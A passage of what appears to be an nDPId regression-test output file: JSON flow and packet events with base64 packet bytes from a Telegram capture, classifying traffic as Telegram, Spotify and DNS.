2Yut5pCeSZfn3ZoRq+lWx89wdySCjOMW8exEEWunv6bjn3slpy7AmRkw+sPRuDmUtrstSTMggBfN+zYz4kU9msu81pr+IK0y7aQh4mmTipBI3toWvtKGgxtFFCU+90ZF+2e26g7ax+JPhJWCf1aeqV2qjVTswyDUe+X8YVqx5YC7ACn0pIzEQj12x8eSFM60TkG8kXSrR+cBcSE4aaYhrAy3pypcCtMV26Co80JeaaDwDMCwmVAzo0E\/BwpqMknzmJBeyZjvON\/562D3ZU9nDxApe4H14sNeh3KyKanbNvTWcgxWJPs+wQ9X1d9egrD3CNpHov7eGsS9E5PTryqkw6dcr07anAdXKz39OKneC7uTIi2xMN4pi9HDUne9kKxezY6JaiaaEds0Egs5TrKu5MlMzp7QSr1MmDFu7VQLrafQLtQSQLw0f+CkdiOkRSoewADHR7WnRu3Pw\/1y7ALeor+7d7v\/xVkXtV0+u1JaX2B1bUYYuBQruUl0bp5QCHut4tI5G7u+9P1dYnUX\/rSklohEaFv70M62kLeKCl4bX8BdPalaH0yKRZF9q2iCLDdluLwx+pd3G8lRNNpU8gMggNTI9z\/7Pxs0oOqfN32KINp0rOMXmr0ZD6E5U7SeSuShxUVrIQgXkF5QTsc4zAeYQXZrfPFcKANcrPTz3MqQYdpM"} +00436{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":728,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779634,"pkt_ts_usec":795180,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA4emwAAEARmNTAqAFN2DrNRPIWAbsAJN5oQKM1SRNfSpcJAg\/VJy\/hU5JXfMk208XyiTI7oA=="} +02232{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":729,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779634,"pkt_ts_usec":797116,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"KDc3AG3IEBMx8Tl2CABFAAViAABAADgR1hbYOs1EwKgBTQG7xoYFTqbf01EwNDYFdSQ0JxgV+\/AAAAAB\/upOH6rH2BIyQSeP5oglrVNRjLzUPYUddHT9m6BsmcKmApdlysrOkxHuxx9vijlyM8wYkq7JvX19IQMhKJZA0U6a8sLp7rHlGFo5nqmm0jMnW7WPHt\/LNpmp9sMej9LIYl7HVWlYuGONw23gJgIuAlpWAO6yh+eVnrhPvfDTj31c6\/L1ooPLrq5NV7Gc7jNhPXAjTc4ZaIElGMpTUieuhBDEobdC\/yRUwhIJac7BNwvPjcF+IDwdoZlLRJw3R5oXAi2b\/NF4EAf1KMRYvNmplcTy11GLuiSvRAmihe5Rh\/orc2nsZbWj+vVmUmzCiWHVssa5KLzmBbkyMh6lJPB3gwNR9L\/Fq9yeGKy0+1JnwE4BdYx5u8HLnX2wgYVFT\/rFfn1Oc62CdMeazmAG7K4pybekkUnanBSVSlDsTtacnk6lBahTKCPl4BKZo41FpeNyrCv6CdLYcTHgeBE4YGrMXUeFT\/ilVEPrTMzFe5kzHIStA3AKnuB\/P+S0D02eLWMotPjv93++mmxST6HP114UWR5QNEIWRxUS8RL0hQeu4zY97Ng6cw4CKN+Csj\/ZvkP4kxD\/Zq7tP6yj9mYvYIO9zExfP9oeGiwS\/4f+6unIp0FdFoZmq8bqYOIOw8QtYVOoNnStryjcigG\/awK2ZaMXV+46Pnbc7phNOyTwsLBxxc\/12QJJ45cSQCeX9fI3HOGC6Lef+EyN3wVq9oB+wBoxI5umm0icT\/zZ2yvFo6UFJ2uDstyecW1AqbCfnn6WWrQLz6eMr+vL\/JleVbbatuBYa5gdk2Yt+67fkdck3Dk3mkph8oGaf+SDkR7Tf9p8ulHM4RwOnQJFlNf4xkSWeQGBLD6wjBE4rkLONEpat+rbynMjiBPAofixsPnISwVDLf0nq9DMrjUvdWlIIMyhGej2e24qnTkMu6p7FC\/huIoB0mRmYhHnBPlCQn\/LUzArFEcNys29X1cxw25iplZFvHkHdOc24AY5G54G00MdsxNdaE\/paJZz93dfFlaEUpxXdsPnTzUS4pfi+tXdLdZlCDSCbcoeLXsZ10o3zvR7bkNwPdSYObv6FtEohnNHd5N8A7GThnHg9zUXltLPSF3xHvq8673iVUYgBtPyG5IX44udpmQI7jeus04VvFTz2gu4npRTD34iJ0hoN0ntT0nFkqcX5\/lL09qWjNDuFP\/S1ls4UAok+2ha5s3PvhtAKIlco7aoWYLrSj95gTSsEvt+vv6BHLLnycSfEmJgy7LNVNyoUK4C4+9WgT1JfWOmVbGaY23xkwzP15QjiTTdKIEkJwiBmgJIruM0dA1J41jJPUcFpH8opFJyrh1InbMhpwrdsem5Er87sEkX0BhYPXkyvKucSZm6W1RMofNDgCdyw5TOBfDKdoqNmc54r82qBE2FvdTks67OsedSUGg\/xIKev6elshEbqcaKfcXRRyuerRJ9Na1ZC85buNS0\/0S8Uk1MnuNcWLIniDOgLmxDYioY8+6ffXPskGoeJ6mpsWIPFN\/ZXPivRS+0hFla3abk42RYHrYiht3fXvADKY3mvEEwWMSzU84L2ho8ij4vLNJYBjTvbpsEkPGMqANA85Spe5XJ9p4g9hQurfHWfSLDKdhStCgrn8jpcM\/\/FkUBZViwdPAW2JLOvsdSXQXeDGKI7nTEgI0kYpnr4frOKaPCHqb3HEqFHSRiARTSD0ufyxhTd6AYnG3WyBQ7hHD\/6lTnreRmZxISZ6q\/gFRJTubvR8\/BO8IvV1XaeMgD55oE\/mi7ALMHyuc8OmMt"} +00434{"flow_id":37,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":730,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779634,"pkt_ts_usec":797531,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA4M8YAAEAR33rAqAFN2DrNRMaGAbsAJKIhQHUkNCcYFfvwAo2OXEY+ceV4qFvU3oSjW1YxGw=="} +00461{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":731,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779635,"pkt_ts_usec":327488,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/wJrQLWJ0CABFAABE\/3cAAEAR9qzAqAE1wKgB\/+EV4RUAMNBmU3BvdFVkcDClWtsnvt2XzwABAACyJIr8D\/N2Z9WO7tpCHKgrvJhaBg=="} +00782{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":732,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779636,"pkt_ts_usec":450767,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGJ1AAEARYHTAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGAMgSJqsAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":733,"source":"telegram.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1588779632305,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":733,"source":"telegram.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1588779632305,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":733,"source":"telegram.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1588779629079,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":54595,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":733,"source":"telegram.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1588779636498,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":733,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779636,"pkt_ts_usec":498756,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAABIkKQAAEARZWTAqAFNwKgB\/+EV4RUANJmxU3BvdFVkcDBukus1wI\/JPgABAARIlcIDfp+BivWMmwGHLE6mtUd\/uj\/4zNc="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":733,"source":"telegram.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1588779636498,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":734,"source":"telegram.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.8.8","src_port":28150,"dst_port":529,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":734,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":543816,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABETKwAAEARCJTAqAFNW2wICG32AhEAMEyhL+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/8Sf7Krq21RXQ=="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":734,"source":"telegram.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.8.8","src_port":28150,"dst_port":529,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":735,"source":"telegram.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.16.1","src_port":28150,"dst_port":529,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":735,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":543822,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEp8EAAEARpYXAqAFNW2wQAW32AhEAMJ\/zL+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/9gDcREEDsyHQ=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":735,"source":"telegram.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.16.1","src_port":28150,"dst_port":529,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":736,"source":"telegram.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.12.3","src_port":28150,"dst_port":530,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":736,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":543824,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABE6yEAAEARZiPAqAFNW2wMA232AhIAMCHWL+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/+2+xugMe3kOw=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":736,"source":"telegram.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.12.3","src_port":28150,"dst_port":530,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":737,"source":"telegram.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.8.1","src_port":28150,"dst_port":533,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":737,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":543824,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEy+YAAEARiWDAqAFNW2wIAW32AhUAMEz1L+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/+LrTXW6BYYCg=="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":737,"source":"telegram.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.8.1","src_port":28150,"dst_port":533,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":738,"source":"telegram.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.12.5","src_port":28150,"dst_port":537,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":738,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":543825,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEayUAAEAR5h3AqAFNW2wMBW32AhkAMN01L+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/+U8S0SsiW5Mg=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":738,"source":"telegram.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.12.5","src_port":28150,"dst_port":537,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":739,"source":"telegram.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.16.3","src_port":28150,"dst_port":537,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":739,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":543827,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEEQsAAEARPDrAqAFNW2wQA232AhkAMF6eL+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/Ppp3gSInx5A=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":739,"source":"telegram.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1588779637543,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.16.3","src_port":28150,"dst_port":537,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":740,"source":"telegram.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1588779637560,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":54595,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":740,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":560983,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"EBMx8Tl2KDc3AG3ICABFAABF+GQAAP8RP6TAqAFNwKgBAdVDADUAMZzqakQBAAABAAAAAAAAAWIHX2Rucy1zZARfdWRwBG50b3ADb3JnAAAMAAE="} +00643{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":740,"source":"telegram.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1588779637560,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":54595,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ntop","breed":"Safe","category":"Network"},"dns": {"query":"b._dns-sd._udp.ntop.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00527{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":741,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":572601,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB67hUAAEARCL\/AqAEBwKgBTQA11UMAZgAAakSBgwABAAAAAQAAAWIHX2Rucy1zZARfdWRwBG50b3ADb3JnAAAMAAHAGwAGAAEAAAA0ACkFZG5zZG\/AGwpwb3N0bWFzdGVywBt4ZvNkAACowAAAHCAAJOoAAAACWA=="} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":741,"source":"telegram.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":2,"flow_first_seen":1588779637560,"flow_last_seen":1588779637572,"flow_tot_l4_data_len":151,"flow_min_l4_data_len":49,"flow_max_l4_data_len":102,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":54595,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ntop","breed":"Safe","category":"Network"},"dns": {"query":"b._dns-sd._udp.ntop.org","num_queries":1,"num_answers":1,"reply_code":3,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00501{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":742,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":577920,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcg6JAADMRnoxbbAgBwKgBTQIVbfYASNOVL+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcB12rJei6011ugWGAoAAAAAAAAAAAAA\/\/9XC83DTfQAAA=="} +00501{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":743,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":582520,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABc3cdAADMRRGBbbAgIwKgBTQIRbfYASNNBL+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcB12rJeEn+yq6ttUV0AAAAAAAAAAAAA\/\/9XC83DTfQAAA=="} +00501{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":744,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":681763,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcuRdAADQRZBVbbAwDwKgBTQISbfYASKh2L+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcB12rJetvsboDHt5DsAAAAAAAAAAAAA\/\/9XC83DTfQAAA=="} +00501{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":745,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":682180,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcJ6tAADQR9X9bbAwFwKgBTQIZbfYASGPWL+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcB12rJelPEtErIluTIAAAAAAAAAAAAA\/\/9XC83DTfQAAA=="} +00501{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":746,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":712776,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcTfZAADYRyTZbbBADwKgBTQIZbfYASOU+L+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcB12rJez6ad4EiJ8eQAAAAAAAAAAAAA\/\/9XC83DTfQAAA=="} +00501{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":747,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779637,"pkt_ts_usec":715269,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcdalAADYRoYVbbBABwKgBTQIRbfYASCaUL+Sfp2xOtDPLzYKhu+piHv\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcB12rJeYA3ERBA7Mh0AAAAAAAAAAAAA\/\/9XC83DTfQAAA=="} 